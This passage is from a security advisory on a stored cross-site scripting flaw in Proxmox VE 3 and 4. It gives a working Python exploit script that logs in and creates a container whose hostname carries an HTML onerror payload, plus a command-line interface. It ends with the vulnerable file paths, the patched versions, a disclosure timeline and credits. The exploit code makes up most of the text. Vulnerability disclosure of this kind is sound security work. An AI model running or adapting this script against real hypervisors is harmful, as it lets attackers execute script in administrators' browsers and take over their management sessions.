ticket = response["data"]["ticket"] csrfticket = response["data"]["CSRFPreventionToken"] if version == "4": createvm = requests.post("https://%s/api2/extjs/nodes/%s/lxc" % (target, hostname), verify=False, headers={"CSRFPreventionToken": csrfticket}, cookies={"PVEAuthCookie": ticket}, data={"vmid": vmid, "hostname":"<img/src='x'/onerror=%s>" % payload, "storage": "local", "password": "sysdream", "ostemplate": template, "memory": 512, "swap": 512, "disk": 2, "cpulimit": 1, "cpuunits": 1024, "net0":"name=eth0"}) elif version == "3": createvm = requests.post("https://%s/api2/extjs/nodes/%s/openvz" % (target, hostname), verify=False, headers={"CSRFPreventionToken": csrfticket}, cookies={"PVEAuthCookie": ticket}, data={"vmid": vmid, "hostname":"<img/src='x'/onerror=%s>" % payload, "storage": "local", "password": "sysdream", "ostemplate": template, "memory": 512, "swap": 512, "disk": 2, "cpus": 1, "netif":"ifname=eth0,bridge=vmbr0"}) if createvm.status_code == 200: response = createvm.json() if "success" in response and response["success"]: print "[+] Stored XSS Created." else: print "[!] Error creating container..." print response else: print "[!] Error creating Container. Bad HTTP Status code : %d" % createvm.status_code else: print "[!] Authentication failed - Check the credentials..." if __name__ == "__main__": print "[~] Proxmox VE 3/4b1 Stored Cross Site Scripting - Nicolas Chatelain <n.chatelain[at]sysdream.com>\n" parser = argparse.ArgumentParser() parser.add_argument("--target", required=True, help="The target host (eg : 10.0.0.1:8006)") parser.add_argument("--username", required=True) parser.add_argument("--password", required=True) parser.add_argument("--vmid", required=False, default="999", type=int, help="A unique ID for the container, exploit will fail if the ID already exists.") parser.add_argument("--template", required=False, default="local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz", help="An existing template in the hypervisor (default : local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz)") parser.add_argument("--realm", required=False, default="pam", choices=["pve", "pam"]) parser.add_argument("--version", default="3", choices=["3", "4"], help="The Proxmox version to exploit") parser.add_argument("--hostname", required=True, help="The target hostname") args = parser.parse_args() exploit(args.target, args.username, args.password, args.vmid, args.template, args.realm, args.version, args.hostname) --------------- Vulnerable code --------------- The vulnerable code is located in the /usr/share/perl5/PVE/LXC.pm for Proxmox 4. For Proxmox 3, the vulnerable code is located in /usr/share/perl5/PVE/OpenVZ.pm. -------- Solution -------- Proxmox 4 : Update to pve-container 0.9-22 Proxmox 3 : Update to pve-manager 3.4-10 Timeline (dd/mm/yyyy) ===================== 04/09/2015 : Initial discovery. 17/09/2015 : Contact with proxmox team. 18/09/2015 : Proxmox fixes the vulnerabilities. 18/09/2015 : Proxmox releases a new pve-container version (0.9-22) 18/09/2015 : Proxmox releases a new pve-manager version (3.4-10) Affected versions ================= * Proxmox VE 4 * Proxmox VE 3 Credits ======= * Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com)
×